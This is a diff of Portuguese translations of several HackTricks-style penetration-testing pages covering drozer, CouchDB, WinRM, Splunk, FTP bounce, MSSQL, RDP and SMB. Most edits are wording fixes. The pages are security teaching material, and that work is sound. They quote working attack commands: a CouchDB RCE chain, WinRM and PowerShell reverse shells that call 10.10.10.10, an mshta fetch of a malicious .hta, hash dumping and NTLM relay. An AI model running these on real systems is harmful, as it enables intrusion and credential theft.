+#### **Interagir** com um serviço
 ```bash
 app.service.send            Send a Message to a service, and display the reply
 app.service.start           Start Service
@@ -163,7 +161,7 @@ Dê uma olhada na ajuda do **drozer** para `app.service.send`:
 
 ![](<../../../images/image (1079).png>)
 
-Note que você estará enviando primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
+Note que você enviará primeiro os dados dentro de "_msg.what_", depois "_msg.arg1_" e "_msg.arg2_", você deve verificar dentro do código **quais informações estão sendo usadas** e onde.\
 Usando a opção `--extra` você pode enviar algo interpretado por "_msg.replyTo_", e usando `--bundle-as-obj` você cria um objeto com os detalhes fornecidos.
 
 No exemplo a seguir:
@@ -181,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
 
 **Na seção de informações básicas do Android, você pode ver o que é um Broadcast Receiver**.
 
-Após descobrir esses Broadcast Receivers, você deve **verificar o código** deles. Preste atenção especial à função **`onReceive`**, pois ela estará lidando com as mensagens recebidas.
+Após descobrir esses Broadcast Receivers, você deve **verificar o código** deles. Preste atenção especial à função **`onReceive`**, pois ela será responsável por lidar com as mensagens recebidas.
 
 #### **Detectar todos** os broadcast receivers
 ```bash
@@ -229,7 +227,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
 ### É depurável
 
 Um APK de produção nunca deve ser depurável.\
-Isso significa que você pode **anexar um depurador java** à aplicação em execução, inspecioná-la em tempo de execução, definir pontos de interrupção, avançar passo a passo, coletar valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-applciation.md) sobre como aprofundar quando sua aplicação é depurável e injetar código em tempo de execução.
+Isso significa que você pode **anexar um depurador java** à aplicação em execução, inspecioná-la em tempo de execução, definir pontos de interrupção, avançar passo a passo, coletar valores de variáveis e até mesmo alterá-los. [O InfoSec Institute tem um excelente artigo](../exploiting-a-debuggeable-applciation.md) sobre como aprofundar-se quando sua aplicação é depurável e injetar código em tempo de execução.
 
 Quando uma aplicação é depurável, ela aparecerá no Manifest:
 ```xml

src/network-services-pentesting/5984-pentesting-couchdb.md

@@ -6,7 +6,7 @@
 
 **CouchDB** é um banco de dados **orientado a documentos** versátil e poderoso que organiza dados usando uma estrutura de **mapa chave-valor** dentro de cada **documento**. Os campos dentro do documento podem ser representados como **pares chave/valor, listas ou mapas**, proporcionando flexibilidade no armazenamento e recuperação de dados.
 
-Cada **documento** armazenado no CouchDB recebe um **identificador único** (`_id`) no nível do documento. Além disso, cada modificação feita e salva no banco de dados é atribuída a um **número de revisão** (`_rev`). Esse número de revisão permite um **rastreamento e gerenciamento eficientes de mudanças**, facilitando a recuperação e sincronização de dados dentro do banco de dados.
+Cada **documento** armazenado no CouchDB é atribuído a um **identificador único** (`_id`) no nível do documento. Além disso, cada modificação feita e salva no banco de dados é atribuída a um **número de revisão** (`_rev`). Esse número de revisão permite um **rastreamento e gerenciamento eficientes de mudanças**, facilitando a recuperação e sincronização de dados dentro do banco de dados.
 
 **Porta padrão:** 5984(http), 6984(https)
 ```
@@ -37,21 +37,21 @@ Isso emite uma solicitação GET para a instância do CouchDB instalada. A respo
 Estes são os endpoints onde você pode acessar com uma **GET** request e extrair algumas informações interessantes. Você pode encontrar [**mais endpoints e descrições mais detalhadas na documentação do couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
 
 - **`/_active_tasks`** Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo.
-- **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância CouchDB.
-- \*\*`/_cluster_setup`\*\*Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
-- **`/_db_updates`** Retorna uma lista de todos os eventos de banco de dados na instância CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
+- **`/_all_dbs`** Retorna uma lista de todos os bancos de dados na instância do CouchDB.
+- **`/_cluster_setup`** Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster.
+- **`/_db_updates`** Retorna uma lista de todos os eventos de banco de dados na instância do CouchDB. A existência do banco de dados `_global_changes` é necessária para usar este endpoint.
 - **`/_membership`** Exibe os nós que fazem parte do cluster como `cluster_nodes`. O campo `all_nodes` exibe todos os nós que este nó conhece, incluindo os que fazem parte do cluster.
 - **`/_scheduler/jobs`** Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas.
-- **`/_scheduler/docs`** Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino, e outras informações.
+- **`/_scheduler/docs`** Lista dos estados dos documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estados `completed` e `failed`. Para cada documento, retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino, e outras informações.
 - **`/_scheduler/docs/{replicator_db}`**
 - **`/_scheduler/docs/{replicator_db}/{docid}`**
 - **`/_node/{node-name}`** O endpoint `/_node/{node-name}` pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar `/_node/_local` para recuperar essa informação.
 - **`/_node/{node-name}/_stats`** O recurso `_stats` retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal `_local` serve como um alias para o nome do nó local, então para todas as URLs de stats, `{node-name}` pode ser substituído por `_local`, para interagir com as estatísticas do nó local.
 - **`/_node/{node-name}/_system`** O recurso \_system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução\_.\_ Você pode usar \_\_`_local` como {node-name} para obter informações do nó atual.
 - **`/_node/{node-name}/_restart`**
-- **`/_up`** Confirma que o servidor está ativo, em execução e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) for `true` ou `nolb`, o endpoint retornará uma resposta 404.
-- \*\*`/_uuids`\*\*Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância CouchDB.
-- \*\*`/_reshard`\*\*Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de redistribuição no cluster.
+- **`/_up`** Confirma que o servidor está ativo, em execução e pronto para responder a solicitações. Se [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) estiver `true` ou `nolb`, o endpoint retornará uma resposta 404.
+- **`/_uuids`** Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância do CouchDB.
+- **`/_reshard`** Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de re-particionamento no cluster.
 
 Mais informações interessantes podem ser extraídas como explicado aqui: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
 
@@ -110,7 +110,7 @@ Graças às diferenças entre os analisadores JSON do Erlang e do JavaScript, vo
 ```bash
 curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
 ```
-[**Mais informações sobre esta vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
+[**Mais informações sobre essa vulnerabilidade aqui**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
 
 ## CouchDB RCE
 
@@ -118,9 +118,9 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
 
 Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
 
-Na documentação do CouchDB, especificamente na seção sobre configuração de cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), discute-se o uso de portas pelo CouchDB em modo de cluster. É mencionado que, assim como no modo autônomo, a porta `5984` é utilizada. Além disso, a porta `5986` é para APIs locais do nó, e, importante, o Erlang requer a porta TCP `4369` para o Daemon do Mapeador de Portas Erlang (EPMD), facilitando a comunicação entre nós dentro de um cluster Erlang. Essa configuração forma uma rede onde cada nó está interligado a todos os outros nós.
+Na documentação do CouchDB, especificamente na seção sobre configuração de cluster ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), discute-se o uso de portas pelo CouchDB em modo de cluster. É mencionado que, assim como no modo autônomo, a porta `5984` é utilizada. Além disso, a porta `5986` é para APIs locais do nó e, o mais importante, o Erlang requer a porta TCP `4369` para o Daemon do Mapeador de Portas Erlang (EPMD), facilitando a comunicação entre nós dentro de um cluster Erlang. Essa configuração forma uma rede onde cada nó está interligado a todos os outros nós.
 
-Um aviso de segurança crucial é destacado em relação à porta `4369`. Se esta porta for tornada acessível pela Internet ou por qualquer rede não confiável, a segurança do sistema depende fortemente de um identificador único conhecido como "cookie." Este cookie atua como uma salvaguarda. Por exemplo, em uma lista de processos dada, o cookie nomeado "monster" pode ser observado, indicando seu papel operacional na estrutura de segurança do sistema.
+Um aviso de segurança crucial é destacado em relação à porta `4369`. Se essa porta for tornada acessível pela Internet ou por qualquer rede não confiável, a segurança do sistema depende fortemente de um identificador único conhecido como "cookie." Esse cookie atua como uma salvaguarda. Por exemplo, em uma lista de processos dada, o cookie nomeado "monster" pode ser observado, indicando seu papel operacional na estrutura de segurança do sistema.
 ```
 www-data@canape:/$ ps aux | grep couchdb
 root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
@@ -160,7 +160,7 @@ Inicialmente, o arquivo esperado (`/tmp/0xdf`) não existe, indicando que o coma
 ```bash
 root@canape:/home/homer/bin# ps aux | grep couch
 ```
-Ao encerrar o processo CouchDB identificado e permitir que o sistema o reinicie automaticamente, a execução do comando injetado é acionada, confirmada pela existência do arquivo anteriormente ausente:
+Ao encerrar o processo do CouchDB identificado e permitir que o sistema o reinicie automaticamente, a execução do comando injetado é acionada, confirmada pela existência do arquivo anteriormente ausente:
 ```bash
 root@canape:/home/homer/etc# kill 711
 root@canape:/home/homer/etc# ls /tmp/0xdf
@@ -174,7 +174,7 @@ Para mais detalhes sobre o CVE-2018-8007, consulte o aviso da mdsec: [CVE-2018-8
 
 Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
 
-Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código via o processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x, comumente visada. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta:
+Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código via o processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x, comumente alvo. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta:
 ```bash
 curl http://localhost:5984
 curl http://0xdf:df@localhost:5984/_config/query_servers/
@@ -197,16 +197,16 @@ As tentativas subsequentes de adicionar o servidor de consulta foram bem-sucedid
 ```bash
 curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
 ```
-O processo continuou com a criação de um banco de dados e um documento, seguido por uma tentativa de executar código através de um mapeamento de visualização personalizado para o servidor de consulta recém-adicionado:
+O processo continuou com a criação de um banco de dados e um documento, seguido por uma tentativa de executar código através de uma visualização personalizada mapeada para o servidor de consulta recém-adicionado:
 ```bash
 curl -X PUT 'http://0xdf:df@localhost:5984/df'
 curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
 curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
 ```
-Um [**resumo**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) com uma carga útil alternativa fornece mais informações sobre a exploração da CVE-2017-12636 sob condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem:
+Um [**resumo**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) com uma carga útil alternativa fornece mais informações sobre a exploração do CVE-2017-12636 sob condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem:
 
 - [Código de exploração POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
-- [Entrada do Exploit Database](https://www.exploit-db.com/exploits/44913/)
+- [Entrada na Exploit Database](https://www.exploit-db.com/exploits/44913/)
 
 ## Shodan
 

src/network-services-pentesting/5985-5986-pentesting-winrm.md

@@ -15,15 +15,15 @@ Uma porta aberta da lista acima significa que o WinRM foi configurado, permitind
 
 ### **Iniciando uma Sessão WinRM**
 
-Para configurar o PowerShell para WinRM, o cmdlet `Enable-PSRemoting` da Microsoft é utilizado, configurando o computador para aceitar comandos remotos do PowerShell. Com acesso elevado ao PowerShell, os seguintes comandos podem ser executados para habilitar essa funcionalidade e designar qualquer host como confiável:
-```powershell
+Para configurar o PowerShell para WinRM, o cmdlet `Enable-PSRemoting` da Microsoft entra em cena, configurando o computador para aceitar comandos remotos do PowerShell. Com acesso elevado ao PowerShell, os seguintes comandos podem ser executados para habilitar essa funcionalidade e designar qualquer host como confiável:
+```bash
 Enable-PSRemoting -Force
 Set-Item wsman:\localhost\client\trustedhosts *
 ```
-Essa abordagem envolve adicionar um caractere curinga à configuração `trustedhosts`, um passo que requer consideração cautelosa devido às suas implicações. Também é observado que alterar o tipo de rede de "Pública" para "Trabalho" pode ser necessário na máquina do atacante.
+Essa abordagem envolve adicionar um curinga à configuração `trustedhosts`, um passo que requer consideração cautelosa devido às suas implicações. Também é observado que alterar o tipo de rede de "Público" para "Trabalho" pode ser necessário na máquina do atacante.
 
 Além disso, o WinRM pode ser **ativado remotamente** usando o comando `wmic`, demonstrado da seguinte forma:
-```powershell
+```bash
 wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
 ```
 Este método permite a configuração remota do WinRM, aumentando a flexibilidade na gestão de máquinas Windows à distância.
@@ -47,27 +47,27 @@ A resposta deve conter informações sobre a versão do protocolo e wsmid, signi
 ### Executar um comando
 
 Para executar `ipconfig` remotamente em uma máquina alvo e visualizar sua saída, faça:
-```powershell
+```bash
 Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
 ```
 ![](<../images/image (151).png>)
 
 Você também pode **executar um comando do seu console PS atual via** _**Invoke-Command**_. Suponha que você tenha localmente uma função chamada _**enumeration**_ e você queira **executá-la em um computador remoto**, você pode fazer:
-```powershell
+```bash
 Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
 ```
-### Executar um Script
-```powershell
+### Execute um Script
+```bash
 Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
 ```
 ### Obter reverse-shell
-```powershell
+```bash
 Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
 ```
 ### Obter uma sessão PS
 
 Para obter um shell interativo do PowerShell, use `Enter-PSSession`:
-```powershell
+```bash
 #If you need to use different creds
 $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
 ## Note the ".\" in the suername to indicate it's a local user (host domain)
@@ -90,13 +90,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
 ### **Forçando o WinRM a Abrir**
 
 Para usar PS Remoting e WinRM, mas o computador não está configurado, você pode habilitá-lo com:
-```powershell
+```bash
 .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
 ```
 ### Salvando e Restaurando sessões
 
 Isso **não funcionará** se o **idioma** estiver **constrangido** no computador remoto.
-```powershell
+```bash
 #If you need to use different creds
 $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
 ## Note the ".\" in the suername to indicate it's a local user (host domain)
@@ -108,14 +108,14 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
 Enter-PSSession -Session $sess1
 ```
 Dentro dessas sessões, você pode carregar scripts PS usando _Invoke-Command_
-```powershell
+```bash
 Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
 ```
 ### Erros
 
 Se você encontrar o seguinte erro:
 
-`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
+`enter-pssession : Conectando ao servidor remoto 10.10.10.175 falhou com a seguinte mensagem de erro : O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não estar autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para mais informações, veja o tópico de ajuda about_Remote_Troubleshooting.`
 
 A tentativa no cliente (informações de [aqui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
 ```ruby
@@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
 
 ### Força Bruta
 
-Tenha cuidado, forçar a entrada no winrm pode bloquear usuários.
+Tenha cuidado, a força bruta no winrm pode bloquear usuários.
 ```ruby
 #Brute force
 crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

src/network-services-pentesting/8089-splunkd.md

@@ -23,7 +23,7 @@
 
 - Versões mais antigas: Credenciais padrão `admin:changeme`
 - Versões mais novas: Credenciais definidas durante a instalação
-- Potencial para uso de senhas fracas (por exemplo, `admin`, `Welcome`, `Password123`)
+- Potencial para uso de senhas fracas (ex.: `admin`, `Welcome`, `Password123`)
 
 3. Oportunidades de Execução Remota de Código
 
@@ -79,7 +79,7 @@ A implantação é simples:
 4. Acione a execução automática do script após o upload
 
 Exemplo de shell reverso do Windows PowerShell:
-```powershell
+```bash
 $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
 $stream = $client.GetStream();
 [byte[]]$bytes = 0..65535|%{0};

src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md

@@ -7,7 +7,7 @@
 ### Manual
 
 1. Conecte-se ao FTP vulnerável
-2. Use \*\*`PORT`\*\* ou **`EPRT`** (mas apenas 1 deles) para estabelecer uma conexão com o _\<IP:Port>_ que você deseja escanear:
+2. Use **`PORT`** ou **`EPRT`** (mas apenas 1 deles) para estabelecer uma conexão com o _\<IP:Port>_ que você deseja escanear:
 
 `PORT 172,32,80,80,0,8080`\
 `EPRT |2|172.32.80.80|8080|`

src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md

@@ -158,7 +158,7 @@ SELECT * FROM sysusers
 1. **Securable:** Definido como os recursos gerenciados pelo SQL Server para controle de acesso. Estes são categorizados em:
 - **Servidor** – Exemplos incluem bancos de dados, logins, endpoints, grupos de disponibilidade e funções de servidor.
 - **Banco de Dados** – Exemplos abrangem função de banco de dados, funções de aplicativo, esquema, certificados, catálogos de texto completo e usuários.
-- **Esquema** – Inclui tabelas, visões, procedimentos, funções, sinônimos, etc.
+- **Esquema** – Inclui tabelas, visualizações, procedimentos, funções, sinônimos, etc.
 2. **Permissão:** Associada aos securables do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
 - **Nível de Servidor** usando logins
 - **Nível de Banco de Dados** usando usuários
@@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
 # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
 ```
+### Obter senhas hashadas
+```bash
+SELECT * FROM master.sys.syslogins;
+```
 ### Roubo de hash NetNTLM / Ataque de Relay
 
 Você deve iniciar um **servidor SMB** para capturar o hash usado na autenticação (`impacket-smbserver` ou `responder`, por exemplo).
@@ -269,7 +273,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
 > EXEC sp_helprotect 'xp_fileexist';
 > ```
 
-Usando ferramentas como **responder** ou **Inveigh**, é possível **roubar o hash NetNTLM**.\
+Usando ferramentas como **responder** ou **Inveigh** é possível **roubar o hash NetNTLM**.\
 Você pode ver como usar essas ferramentas em:
 
 {{#ref}}
@@ -306,7 +310,7 @@ EXECUTE sp_OADestroy @OLE
 ```
 ### **Ler arquivo com** OPENROWSET
 
-Por padrão, `MSSQL` permite a leitura de arquivos **em qualquer arquivo no sistema operacional ao qual a conta tenha acesso de leitura**. Podemos usar a seguinte consulta SQL:
+Por padrão, `MSSQL` permite a leitura de arquivos **em qualquer arquivo no sistema operacional ao qual a conta tem acesso de leitura**. Podemos usar a seguinte consulta SQL:
 ```sql
 SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
 ```
@@ -343,9 +347,9 @@ GO
 ```
 ### Ler Registro
 
-Microsoft SQL Server fornece **múltiplas procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
+Microsoft SQL Server fornece **múltiplas stored procedures estendidas** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
 
-| **Regular**                 | **Ciente da Instância**              |
+| **Regular**                 | **Ciente da Instância**                   |
 | --------------------------- | ------------------------------------ |
 | sys.xp_regread              | sys.xp_instance_regread              |
 | sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
@@ -477,7 +481,7 @@ Você pode usar um módulo **metasploit**:
 msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
 ```
 Ou um **script PS**:
-```powershell
+```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
@@ -505,8 +509,8 @@ enum_links
 use_link [NAME]
 ```
 > [!NOTE]
-> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar **se o usuário tem acesso** a outros **bancos de dados** ou servidores vinculados.
-
+> Se você puder se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros bancos de dados ou servidores vinculados.
+  
 Observe que, uma vez que você é sysadmin, pode se passar por qualquer outro:
 ```sql
 -- Impersonate RegUser
@@ -521,8 +525,8 @@ Você pode realizar este ataque com um módulo **metasploit**:
 ```bash
 msf> auxiliary/admin/mssql/mssql_escalate_execute_as
 ```
-ou com um script **PS**:
-```powershell
+ou com um **script PS**:
+```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
@@ -545,13 +549,13 @@ Após validar suas permissões, você precisa configurar três coisas, que são
 
 Para automatizar essas configurações, [este repositório](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) tem os scripts necessários. Além de ter um script powershell para cada etapa da configuração, o repositório também possui um script completo que combina os scripts de configuração e a extração e descriptografia das senhas.
 
-Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link do Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
+Para mais informações, consulte os seguintes links sobre este ataque: [Descriptografando Senhas de Servidor de Link de Banco de Dados MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
 
 [Resolvendo Problemas com a Conexão Dedicada de Administrador do SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
 
 ## Escalação de Privilégios Local
 
-O usuário que executa o servidor MSSQL terá habilitado o token de privilégio **SeImpersonatePrivilege.**\
+O usuário que executa o servidor MSSQL terá o token de privilégio **SeImpersonatePrivilege.**\
 Você provavelmente conseguirá **escalar para Administrador** seguindo uma dessas 2 páginas:
 
 {{#ref}}

src/network-services-pentesting/pentesting-rdp.md

@@ -20,11 +20,11 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
 ```
 Verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).
 
-### [Força bruta](../generic-hacking/brute-force.md#rdp)
+### [Brute force](../generic-hacking/brute-force.md#rdp)
 
 **Cuidado, você pode bloquear contas**
 
-### **Spraying de Senhas**
+### **Password Spraying**
 
 **Cuidado, você pode bloquear contas**
 ```bash
@@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
 
 ### Roubo de sessão
 
-Com **permissões de SYSTEM** você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
+Com **permissões do SISTEMA**, você pode acessar qualquer **sessão RDP aberta por qualquer usuário** sem precisar saber a senha do proprietário.
 
 **Obter sessões abertas:**
 ```
@@ -64,7 +64,7 @@ Agora você estará dentro da sessão RDP selecionada e terá que se passar por
 
 **Importante**: Ao acessar uma sessão RDP ativa, você desconectará o usuário que estava utilizando-a.
 
-Você pode obter senhas do processo despejando-as, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
+Você pode obter senhas do processo despejando-o, mas este método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no notepad sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)
 
 #### **Mimikatz**
 
@@ -104,6 +104,10 @@ net localgroup "Remote Desktop Users" UserLoginName /add
 - Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
 - Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo
 
+- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
+
+Esta ferramenta permite executar comandos no RDP da vítima **sem precisar de uma interface gráfica**.
+
 ## Comandos Automáticos HackTricks
 ```
 Protocol_Name: RDP    #Protocol Abbreviation if there is one.

src/network-services-pentesting/pentesting-smb.md

@@ -4,7 +4,7 @@
 
 ## **Porta 139**
 
-O _**Sistema Básico de Entrada e Saída de Rede**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software que operam em uma rede NetBIOS são alcançadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e muitas vezes são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **TCP Porta 139**.
+O _**Sistema Básico de Entrada e Saída de Rede**_** (NetBIOS)** é um protocolo de software projetado para permitir que aplicativos, PCs e Desktops dentro de uma rede local (LAN) interajam com hardware de rede e **facilitem a transmissão de dados pela rede**. A identificação e localização de aplicativos de software que operam em uma rede NetBIOS são realizadas por meio de seus nomes NetBIOS, que podem ter até 16 caracteres de comprimento e muitas vezes são distintos do nome do computador. Uma sessão NetBIOS entre dois aplicativos é iniciada quando um aplicativo (atuando como cliente) emite um comando para "chamar" outro aplicativo (atuando como servidor) utilizando **TCP Porta 139**.
 ```
 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 ```
@@ -24,7 +24,7 @@ Compartilhamentos, representando **partes arbitrárias do sistema de arquivos lo
 
 ### IPC$ Share
 
-O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão anônima nula, permitindo a interação com serviços expostos via pipes nomeados. A utilidade `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a aquisição de:
+O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão nula anônima, permitindo a interação com serviços expostos via pipes nomeados. A utilidade `enum4linux` é útil para esse propósito. Utilizada corretamente, ela permite a aquisição de:
 
 - Informações sobre o sistema operacional
 - Detalhes sobre o domínio pai
@@ -32,7 +32,7 @@ O acesso ao compartilhamento IPC$ pode ser obtido através de uma sessão anôni
 - Informações sobre os compartilhamentos SMB disponíveis
 - A política de segurança do sistema efetiva
 
